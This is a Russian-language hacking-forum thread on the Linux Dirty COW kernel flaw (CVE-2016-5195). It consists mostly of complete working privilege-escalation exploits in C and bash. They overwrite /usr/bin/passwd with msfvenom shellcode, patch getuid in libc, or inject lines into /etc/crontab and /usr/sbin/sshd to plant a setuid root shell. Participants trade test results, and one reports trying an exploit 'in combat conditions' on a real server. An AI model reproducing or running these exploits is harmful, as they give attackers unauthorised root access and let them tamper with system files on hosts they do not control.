RDot

RDot (https://rdot.org/forum/index.php)
-   Повышение привилегий/Privilege escalation (https://rdot.org/forum/forumdisplay.php?f=24)
-   -   CVE-2016-5195 Dirty COW: privesc via MAP_PRIVATE COW (https://rdot.org/forum/showthread.php?t=3801)

SynQ 21.10.2016 11:07

CVE-2016-5195 Dirty COW: privesc via MAP_PRIVATE COW
 
CVE-2016-5195 Dirty COW: privesc via MAP_PRIVATE COW

Помните эпичный баг в FreeBSD (CVE-2013-2171 FreeBSD 9.0+ Privilege escalation via mmap)?

В Линуксе нашли примерно то же самое. Баг столь же эпичен: существует примерно с 2007 года, и ему нипочем SMEP и SMAP.

poc не работает на rhel5/6.

Цитата:

Impact

An unprivileged local user could use this flaw to gain write access to otherwise read-only memory mappings and thus increase their privileges on the system.
This flaw allows an attacker with a local system account to modify on-disk binaries, bypassing the standard permission mechanisms that would prevent modification without an appropriate permission set.

How

The In The Wild exploit relied on writing to /proc/self/mem on one side of the race.
The In The Wild exploit relied on using ptrace.
The attack relies on racing the madvise(MADV_DONTNEED) system call while having the page of the executable mmapped in memory.
Патч.
https://bugzilla.redhat.com/show_bug.cgi?id=1384344

poc:
Код:

/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
 
void *map;
int f;
struct stat st;
char *name;
 
void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}
 
void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
>  The in the wild exploit we are aware of doesn't work on Red Hat
>  Enterprise Linux 5 and 6 out of the box because on one side of
>  the race it writes to /proc/self/mem, but /proc/self/mem is not
>  writable on Red Hat Enterprise Linux 5 and 6.
*/
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
    lseek(f,map,SEEK_SET);
    c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}
 
 
int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
  if (argc<3)return 1;
  pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping.  Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file.  It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %x\n\n",map);
/*
You have to do it on two threads.
*/
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;
}


tex 22.10.2016 15:36

https://twitter.com/nicowaisman/status/789499734700462080 тут я так понимаю показан рабочий для centos 6 ?

nicco 22.10.2016 18:11

Код:

#define _GNU_SOURCE
#include <err.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <limits.h>
#include <pthread.h>
#include <stdbool.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/types.h>
 
 
#define SHELLCODE  "\x31\xc0\xc3"
#define SPACE_SIZE  256
#define LIBC_PATH  "/lib/x86_64-linux-gnu/libc.so.6"
#define LOOP        0x1000000
 
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
 
struct mem_arg  {
    struct stat st;
    off_t offset;
    unsigned long patch_addr;
    unsigned char *patch;
    unsigned char *unpatch;
    size_t patch_size;
    bool do_patch;
    void *map;
};
 
 
static int check(bool do_patch, const char *thread_name)
{
    uid_t uid;
 
    uid = getuid();
 
    if (do_patch) {
        if (uid == 0) {
            printf("[*] patched (%s)\n", thread_name);
            return 1;
        }
    } else {
        if (uid != 0) {
            printf("[*] unpatched: uid=%d (%s)\n", uid, thread_name);
            return 1;
        }
    }
 
    return 0;
}
 
 
static void *madviseThread(void *arg)
{
    struct mem_arg *mem_arg;
    size_t size;
    void *addr;
    int i, c = 0;
 
    mem_arg = (struct mem_arg *)arg;
    addr = (void *)(mem_arg->offset & (~(PAGE_SIZE - 1)));
    size = mem_arg->offset - (unsigned long)addr;
 
    for(i = 0; i < LOOP; i++) {
        c += madvise(addr, size, MADV_DONTNEED);
 
        if (i % 0x1000 == 0 && check(mem_arg->do_patch, __func__))
            break;
    }
 
    if (c == 0x1337)
        printf("[*] madvise = %d\n", c);
 
    return NULL;
}
 
static void *procselfmemThread(void *arg)
{
    struct mem_arg *mem_arg;
    int fd, i, c = 0;
    unsigned char *p;
 
    mem_arg = (struct mem_arg *)arg;
    p = mem_arg->do_patch ? mem_arg->patch : mem_arg->unpatch;
 
    fd = open("/proc/self/mem", O_RDWR);
    if (fd == -1)
        err(1, "open(\"/proc/self/mem\"");
 
    for (i = 0; i < LOOP; i++) {
        lseek(fd, mem_arg->offset, SEEK_SET);
        c += write(fd, p, mem_arg->patch_size);
 
        if (i % 0x1000 == 0 && check(mem_arg->do_patch, __func__))
            break;
    }
 
    if (c == 0x1337)
        printf("[*] /proc/self/mem %d\n", c);
 
    close(fd);
 
    return NULL;
}
 
static int get_range(unsigned long *start, unsigned long *end)
{
    char line[4096];
    char filename[PATH_MAX];
    char flags[32];
    FILE *fp;
    int ret;
 
    ret = -1;
 
    fp = fopen("/proc/self/maps", "r");
    if (fp == NULL)
        err(1, "fopen(\"/proc/self/maps\")");
 
    while (fgets(line, sizeof(line), fp) != NULL) {
        sscanf(line, "%lx-%lx %s %*Lx %*x:%*x %*Lu %s", start, end, flags, filename);
 
        if (strstr(flags, "r-xp") == NULL)
            continue;
 
        if (strstr(filename, "/libc-") == NULL)
            continue;
        //printf("[%lx-%6lx][%s][%s]\n", start, end, flags, filename);
        ret = 0;
        break;
    }
 
    fclose(fp);
 
    return ret;
}
 
static void getroot(void)
{
    execlp("su", "su", NULL);
    err(1, "failed to execute \"su\"");
}
 
static void exploit(struct mem_arg *mem_arg, bool do_patch)
{
    pthread_t pth1, pth2;
 
    printf("[*] exploiting (%s)\n", do_patch ? "patch": "unpatch");
 
    mem_arg->do_patch = do_patch;
 
    pthread_create(&pth1, NULL, madviseThread, mem_arg);
    pthread_create(&pth2, NULL, procselfmemThread, mem_arg);
 
    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);
}
 
static unsigned long get_getuid_addr(void)
{
    unsigned long addr;
    void *handle;
    char *error;
 
    dlerror();
 
    handle = dlopen("libc.so.6", RTLD_LAZY);
    if (handle == NULL) {
        fprintf(stderr, "%s\n", dlerror());
        exit(EXIT_FAILURE);
    }
 
    addr = (unsigned long)dlsym(handle, "getuid");
    error = dlerror();
    if (error != NULL) {
        fprintf(stderr, "%s\n", error);
        exit(EXIT_FAILURE);
    }
 
    dlclose(handle);
 
    return addr;
}
 
int main(int argc, char *argv[])
{
    unsigned long start, end;
    unsigned long getuid_addr;
    struct mem_arg mem_arg;
    struct stat st;
    pid_t pid;
    int fd;
 
    if (get_range(&start, &end) != 0)
        errx(1, "failed to get range");
 
    printf("[*] range: %lx-%lx]\n", start, end);
 
    getuid_addr = get_getuid_addr();
    printf("[*] getuid = %lx\n", getuid_addr);
 
    mem_arg.patch = malloc(sizeof(SHELLCODE)-1);
    if (mem_arg.patch == NULL)
        err(1, "malloc");
 
    mem_arg.unpatch = malloc(sizeof(SHELLCODE)-1);
    if (mem_arg.unpatch == NULL)
        err(1, "malloc");
 
    memcpy(mem_arg.unpatch, (void *)getuid_addr, sizeof(SHELLCODE)-1);
    memcpy(mem_arg.patch, SHELLCODE, sizeof(SHELLCODE)-1);
    mem_arg.patch_size = sizeof(SHELLCODE)-1;
    mem_arg.do_patch = true;
 
    fd = open(LIBC_PATH, O_RDONLY);
    if (fd == -1)
        err(1, "open(\"" LIBC_PATH "\")");
    if (fstat(fd, &st) == -1)
        err(1, "fstat");
 
    mem_arg.map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
    if (mem_arg.map == MAP_FAILED)
        err(1, "mmap");
    close(fd);
 
    printf("[*] mmap %p\n", mem_arg.map);
 
    mem_arg.st = st;
    mem_arg.offset = (off_t)((unsigned long)mem_arg.map + getuid_addr - start);
 
    exploit(&mem_arg, true);
 
    pid = fork();
    if (pid == -1)
        err(1, "fork");
 
    if (pid == 0) {
        getroot();
    } else {
        sleep(2);
        exploit(&mem_arg, false);
        if (waitpid(pid, NULL, 0) == -1)
            warn("waitpid");
    }
 
    return 0;
}

gcc -ldl -lpthread

vp$ 23.10.2016 10:13

Linux 3.2.0-4-amd64 #1 SMP Debian 3.2.73-2 x86_64
Linux ubuntu 3.5.0-27-generic #46~precise1-Ubuntu SMP Tue Mar 26 19:33:21 UTC 2013 x86_64

Код:

/*
* (un)comment correct payload first (x86 or x64)!
*
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*
* @robinverton
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>

void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;

// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";

/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/
unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
  0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;

/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
  0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
  0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
  0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
  0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
  0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
  0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/

void *madviseThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        c+=madvise(map,100,MADV_DONTNEED);
    }
    printf("thread stopped\n");
}

void *procselfmemThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int f=open("/proc/self/mem",O_RDWR);
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        lseek(f,map,SEEK_SET);
        c+=write(f, str, sc_len);
    }
    printf("thread stopped\n");
}

void *waitForWrite(void *arg) {
    char buf[sc_len];

    for(;;) {
        FILE *fp = fopen(suid_binary, "rb");

        fread(buf, sc_len, 1, fp);

        if(memcmp(buf, sc, sc_len) == 0) {
            printf("%s overwritten\n", suid_binary);
            break;
        }

        fclose(fp);
        sleep(1);
    }

    stop = 1;

    printf("Popping root shell.\n");
    printf("Don't forget to restore /tmp/bak\n");

    system(suid_binary);
}

int main(int argc,char *argv[]) {
    char *backup;

    printf("DirtyCow root privilege escalation\n");
    printf("Backing up %s to /tmp/bak\n", suid_binary);

    asprintf(&backup, "cp %s /tmp/bak", suid_binary);
    system(backup);

    f = open(suid_binary,O_RDONLY);
    fstat(f,&st);

    printf("Size of binary: %d\n", st.st_size);

    char payload[st.st_size];
    memset(payload, 0x90, st.st_size);
    memcpy(payload, sc, sc_len+1);

    map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

    printf("Racing, this may take a while..\n");

    pthread_create(&pth1, NULL, &madviseThread, suid_binary);
    pthread_create(&pth2, NULL, &procselfmemThread, payload);
    pthread_create(&pth3, NULL, &waitForWrite, NULL);

    pthread_join(pth3, NULL);

    return 0;
}


lotos 24.10.2016 00:31

Цитата:

Сообщение от nicco (Сообщение 40553)
Код:

#define _GNU_SOURCE
#include <err.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <limits.h>
#include <pthread.h>
#include <stdbool.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/types.h>
 
 
#define SHELLCODE  "\x31\xc0\xc3"
#define SPACE_SIZE  256
#define LIBC_PATH  "/lib/x86_64-linux-gnu/libc.so.6"
#define LOOP        0x1000000
 
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
 
struct mem_arg  {
    struct stat st;
    off_t offset;
    unsigned long patch_addr;
    unsigned char *patch;
    unsigned char *unpatch;
    size_t patch_size;
    bool do_patch;
    void *map;
};
 
 
static int check(bool do_patch, const char *thread_name)
{
    uid_t uid;
 
    uid = getuid();
 
    if (do_patch) {
        if (uid == 0) {
            printf("[*] patched (%s)\n", thread_name);
            return 1;
        }
    } else {
        if (uid != 0) {
            printf("[*] unpatched: uid=%d (%s)\n", uid, thread_name);
            return 1;
        }
    }
 
    return 0;
}
 
 
static void *madviseThread(void *arg)
{
    struct mem_arg *mem_arg;
    size_t size;
    void *addr;
    int i, c = 0;
 
    mem_arg = (struct mem_arg *)arg;
    addr = (void *)(mem_arg->offset & (~(PAGE_SIZE - 1)));
    size = mem_arg->offset - (unsigned long)addr;
 
    for(i = 0; i < LOOP; i++) {
        c += madvise(addr, size, MADV_DONTNEED);
 
        if (i % 0x1000 == 0 && check(mem_arg->do_patch, __func__))
            break;
    }
 
    if (c == 0x1337)
        printf("[*] madvise = %d\n", c);
 
    return NULL;
}
 
static void *procselfmemThread(void *arg)
{
    struct mem_arg *mem_arg;
    int fd, i, c = 0;
    unsigned char *p;
 
    mem_arg = (struct mem_arg *)arg;
    p = mem_arg->do_patch ? mem_arg->patch : mem_arg->unpatch;
 
    fd = open("/proc/self/mem", O_RDWR);
    if (fd == -1)
        err(1, "open(\"/proc/self/mem\"");
 
    for (i = 0; i < LOOP; i++) {
        lseek(fd, mem_arg->offset, SEEK_SET);
        c += write(fd, p, mem_arg->patch_size);
 
        if (i % 0x1000 == 0 && check(mem_arg->do_patch, __func__))
            break;
    }
 
    if (c == 0x1337)
        printf("[*] /proc/self/mem %d\n", c);
 
    close(fd);
 
    return NULL;
}
 
static int get_range(unsigned long *start, unsigned long *end)
{
    char line[4096];
    char filename[PATH_MAX];
    char flags[32];
    FILE *fp;
    int ret;
 
    ret = -1;
 
    fp = fopen("/proc/self/maps", "r");
    if (fp == NULL)
        err(1, "fopen(\"/proc/self/maps\")");
 
    while (fgets(line, sizeof(line), fp) != NULL) {
        sscanf(line, "%lx-%lx %s %*Lx %*x:%*x %*Lu %s", start, end, flags, filename);
 
        if (strstr(flags, "r-xp") == NULL)
            continue;
 
        if (strstr(filename, "/libc-") == NULL)
            continue;
        //printf("[%lx-%6lx][%s][%s]\n", start, end, flags, filename);
        ret = 0;
        break;
    }
 
    fclose(fp);
 
    return ret;
}
 
static void getroot(void)
{
    execlp("su", "su", NULL);
    err(1, "failed to execute \"su\"");
}
 
static void exploit(struct mem_arg *mem_arg, bool do_patch)
{
    pthread_t pth1, pth2;
 
    printf("[*] exploiting (%s)\n", do_patch ? "patch": "unpatch");
 
    mem_arg->do_patch = do_patch;
 
    pthread_create(&pth1, NULL, madviseThread, mem_arg);
    pthread_create(&pth2, NULL, procselfmemThread, mem_arg);
 
    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);
}
 
static unsigned long get_getuid_addr(void)
{
    unsigned long addr;
    void *handle;
    char *error;
 
    dlerror();
 
    handle = dlopen("libc.so.6", RTLD_LAZY);
    if (handle == NULL) {
        fprintf(stderr, "%s\n", dlerror());
        exit(EXIT_FAILURE);
    }
 
    addr = (unsigned long)dlsym(handle, "getuid");
    error = dlerror();
    if (error != NULL) {
        fprintf(stderr, "%s\n", error);
        exit(EXIT_FAILURE);
    }
 
    dlclose(handle);
 
    return addr;
}
 
int main(int argc, char *argv[])
{
    unsigned long start, end;
    unsigned long getuid_addr;
    struct mem_arg mem_arg;
    struct stat st;
    pid_t pid;
    int fd;
 
    if (get_range(&start, &end) != 0)
        errx(1, "failed to get range");
 
    printf("[*] range: %lx-%lx]\n", start, end);
 
    getuid_addr = get_getuid_addr();
    printf("[*] getuid = %lx\n", getuid_addr);
 
    mem_arg.patch = malloc(sizeof(SHELLCODE)-1);
    if (mem_arg.patch == NULL)
        err(1, "malloc");
 
    mem_arg.unpatch = malloc(sizeof(SHELLCODE)-1);
    if (mem_arg.unpatch == NULL)
        err(1, "malloc");
 
    memcpy(mem_arg.unpatch, (void *)getuid_addr, sizeof(SHELLCODE)-1);
    memcpy(mem_arg.patch, SHELLCODE, sizeof(SHELLCODE)-1);
    mem_arg.patch_size = sizeof(SHELLCODE)-1;
    mem_arg.do_patch = true;
 
    fd = open(LIBC_PATH, O_RDONLY);
    if (fd == -1)
        err(1, "open(\"" LIBC_PATH "\")");
    if (fstat(fd, &st) == -1)
        err(1, "fstat");
 
    mem_arg.map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
    if (mem_arg.map == MAP_FAILED)
        err(1, "mmap");
    close(fd);
 
    printf("[*] mmap %p\n", mem_arg.map);
 
    mem_arg.st = st;
    mem_arg.offset = (off_t)((unsigned long)mem_arg.map + getuid_addr - start);
 
    exploit(&mem_arg, true);
 
    pid = fork();
    if (pid == -1)
        err(1, "fork");
 
    if (pid == 0) {
        getroot();
    } else {
        sleep(2);
        exploit(&mem_arg, false);
        if (waitpid(pid, NULL, 0) == -1)
            warn("waitpid");
    }
 
    return 0;
}

gcc -ldl -lpthread

кроме этого сплоита , на 5 и 6 центосе у кого нить другие сработали ?

SynQ 24.10.2016 13:27

lotos
Вот этот должен работать, плюс не завесит машину:
https://github.com/scumjr/dirtycow-vdso

Acez666 24.10.2016 21:05

poc не работает на rhel5/6.
=a 4Ю шапку ебашит?

SynQ 25.10.2016 11:09

Баг появился примерно в 2.6.22. Не думаю, что в 2.6.18 его бэкпортировали.

Ravenous 25.10.2016 15:42

SynQ, эксплоит в посте nicco только под x64 версию? судя по
Цитата:

#define LIBC_PATH "/lib/x86_64-linux-gnu/libc.so.6"
или можно заменить путь на /lib/libc.so.6 ?

CentOS 6.3
Linux localhost 2.6.32-279.el6.i686 #1 SMP Fri Jun 22 10:59:55 UTC 2012 i686 i686 i386 GNU/Linux virtualbox

upd: изменил путь и повисло на

Цитата:

[user@localhost ~]$ ./ex1
[*] range: 15e000-2ef000]
[*] getuid = 2006c0
[*] mmap 0xb76f2000
[*] exploiting (patch)
2. Эксплоит в посте vps

Цитата:

[user@localhost ~]$ gcc -pthread -o ex2 ex2.c
ex2.c: In function ‘procselfmemThread’:
ex2.c:100: warning: passing argument 2 of ‘lseek’ makes integer from pointer without a cast
/usr/include/unistd.h:331: note: expected ‘__off_t’ but argument is of type ‘void *’
Повисло вроде rhel все равно не берет
Цитата:

[user@localhost ~]$ ./ex2
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
Size of binary: 25980
Racing, this may take a while..
thread stopped
thread stopped
^C
3.
Цитата:

Вот этот должен работать, плюс не завесит машину:
https://github.com/scumjr/dirtycow-vdso
Потребовалось предварительно поставить пакеты nasm,vim-common
и вот(((

Цитата:

[user@localhost d]$ make
xxd -i payload payload.h
cc -o 0xdeadbeef.o -c 0xdeadbeef.c -Wall
0xdeadbeef.c:18:22: error: sys/auxv.h: No such file or directory
0xdeadbeef.c:41: error: conflicting types for ‘uint64_t’
/usr/include/stdint.h:59: note: previous declaration of ‘uint64_t’ was here
0xdeadbeef.c: In function ‘get_vdso_addr’:
0xdeadbeef.c:102: warning: implicit declaration of function ‘getauxval’
0xdeadbeef.c:102: error: ‘AT_SYSINFO_EHDR’ undeclared (first use in this function)
0xdeadbeef.c:102: error: (Each undeclared identifier is reported only once
0xdeadbeef.c:102: error: for each function it appears in.)
0xdeadbeef.c: In function ‘exploit_helper’:
0xdeadbeef.c:374: warning: format ‘%ld’ expects type ‘long int’, but argument 5 has type ‘unsigned int’
make: *** [0xdeadbeef.o] Error 1

tex 25.10.2016 17:32

Цитата:

Сообщение от Ravenous (Сообщение 40565)
SynQ, эксплоит в посте nicco только под x64 версию? судя по
или можно заменить путь на /lib/libc.so.6 ?

уязвимость заключается в том, насколько я понял, что можно не обладая правами на файл переписать его произвольным содержимым, эксплоит vps просто переписывает суидный бинарник passwd, соответственно проблемы в архитектуре нет.

tex 25.10.2016 20:09

вот кароче
Цитата:

#!/bin/bash

cat <<EOF > cow.c
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <unistd.h>

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;

char suid_binary[] = "/etc/crontab";
unsigned char shell_code[] = {
0x53, 0x48, 0x45, 0x4c, 0x4c, 0x3d, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73,
0x68, 0x0a, 0x2a, 0x20, 0x2a, 0x20, 0x2a, 0x20, 0x2a, 0x20, 0x2a, 0x20,
0x72, 0x6f, 0x6f, 0x74, 0x20, 0x2f, 0x74, 0x6d, 0x70, 0x2f, 0x78, 0x0a,
0x23
};
unsigned int sc_len = 37;



void *madviseThread(void *arg) {
int i,c=0;
for(i=0;i<200000000;i++)
c+=madvise(map,100,MADV_DONTNEED);
}


int main(int argc,char *argv[]){
f=open(suid_binary,O_RDONLY);
fstat(f,&st);
map=mmap(NULL,st.st_size+sizeof(long),PROT_READ,MA P_PRIVATE,f,0);
pid=fork();
if(pid){
waitpid(pid,NULL,0);
int u,i,o,c=0,l=sc_len;
for(i=0;i<10000/l;i++)
for(o=0;o<l;o++)
for(u=0;u<10000;u++)
c+=ptrace(PTRACE_POKETEXT,pid,map+o,*((long*)(shel l_code+o)));
}
else{
pthread_create(&pth,
NULL,
madviseThread,
NULL);
ptrace(PTRACE_TRACEME);
kill(getpid(),SIGSTOP);
pthread_join(pth,NULL);
}
return 0;
}

EOF
gcc -lpthread -o ./cow ./cow.c
cat <<EOF >/tmp/x
#!/bin/bash
/bin/cp /bin/bash /tmp/sbash
/bin/chmod 4755 /tmp/sbash
EOF
chmod +x /tmp/x
./cow &


while true
do
if [ -f "/tmp/sbash" ]
then /tmp/sbash -p
else
sleep 1
fi
done
через /etc/crontab, проверил на CentOS release 6.7 (Final) - работает.
првада только когда crontab перезагрузит конфиги, так как время модификации не изменяется от эксплоита, ну тут главное принцип.

tex 25.10.2016 20:24

а так вот посы еще https://github.com/dirtycow/dirtycow.github.io/wiki/PoCs

Ravenous 26.10.2016 02:03

Твой не тестил, так как у меня на локалке нет crontaba по дефолту (релизы minimal centos).

Сработал по ссылке PoC - c0w.c. https://gist.github.com/KrE80r/42f8629577db95782d5e4f609f437a54
Пока на CenotOS 6.7 Final x86
Пришлось открывать две ssh сессии. Так как он висит бесконечно
1ый терминал:
Цитата:

[user@localhost ~]$ ./c0w

(___)
(o o)_____/
@@ ` \
\ ____, //usr/bin/passwd
// //
^^ ^^
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
mmap b775e000

^C
В другом терминале каждую секунду вручную выполнял комманду passwd
Примерно через 30 секунд выводил Killed, потом Segmination Fault, потом опять иногда Killed, а потом минуты 2-3 снова только Segmintation Fault. Но на 3ию минуту запустился root шелл. наконецто... При этом эксплоит как висел так том выводе так и продолжал висеть...
Вообщем не понятно такое поведение, в комменте к эксплоиту все намного проще работало)

Жаль в боевых условиях не сработал -на CentOs 6.3 final 2016 года. Висит долго без вывода, потом перед завершением
Цитата:

* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* mmap fa65a000

* ptrace 0
/usr/bin/passwd не изменился..(( Еще тут sestatus: command not found
В то время на локалке он есть
Цитата:

SELinux status: enabled
SELinuxfs mount: /selinux
Current mode: enforcing
Mode from config file: enforcing
Policy version: 24
Policy from config file: targeted
Может быть то, что пользователь принадлежит группе mgrsecure о чем-то говорит. Это случайно не grsecure? в uname его нет, а гугл говорит что просто какае-то системная группа от ISPManager. Может кто точнее знает?

Продолжу тестить на других машинах.

tex 26.10.2016 15:01

PHP код:

#!/bin/bash
if [ ! -"/tmp/sshd.bak" ]
 
then cp /usr/sbin/sshd /tmp/sshd.bak
fi
cat 
<<EOF cow.c
#include <fcntl.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <unistd.h>
int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;
char suid_binary[] = "/usr/sbin/sshd";
unsigned char shell_code[] = "#!/tmp/x\n";
unsigned int sc_len 9;
void *madviseThread(void *arg) {
  
int i,c=0;
  for(
i=0;i<200000;i++)
    
c+=madvise(map,100,MADV_DONTNEED);
}
int main(int argc,char *argv[]){
  
f=open(suid_binary,O_RDONLY);
  
fstat(f,&st);
  
map=mmap(NULL,st.st_size+sizeof(long),PROT_READ,MAP_PRIVATE,f,0);
  
pid=fork();
  if(
pid){
    
waitpid(pid,NULL,0);
    
int i,o,c=0,l=sc_len;
    for(
i=0;i<100000;i++)
      for(
o=0;o<l;o++)
          
c+=ptrace(PTRACE_POKETEXT,pid,map+o,*((long*)(shell_code+o)));
   }
  else{
    
pthread_create(&pth,
                   
NULL,
                   
madviseThread,
                   
NULL);
    
ptrace(PTRACE_TRACEME);
    
kill(getpid(),SIGSTOP);
    
pthread_join(pth,NULL);
    }
  return 
0;
}
EOF
gcc 
-lpthread -./cow ./cow.c
cat 
<<EOF >/tmp/x
#!/bin/bash
/bin/cp /bin/bash /tmp/sbash
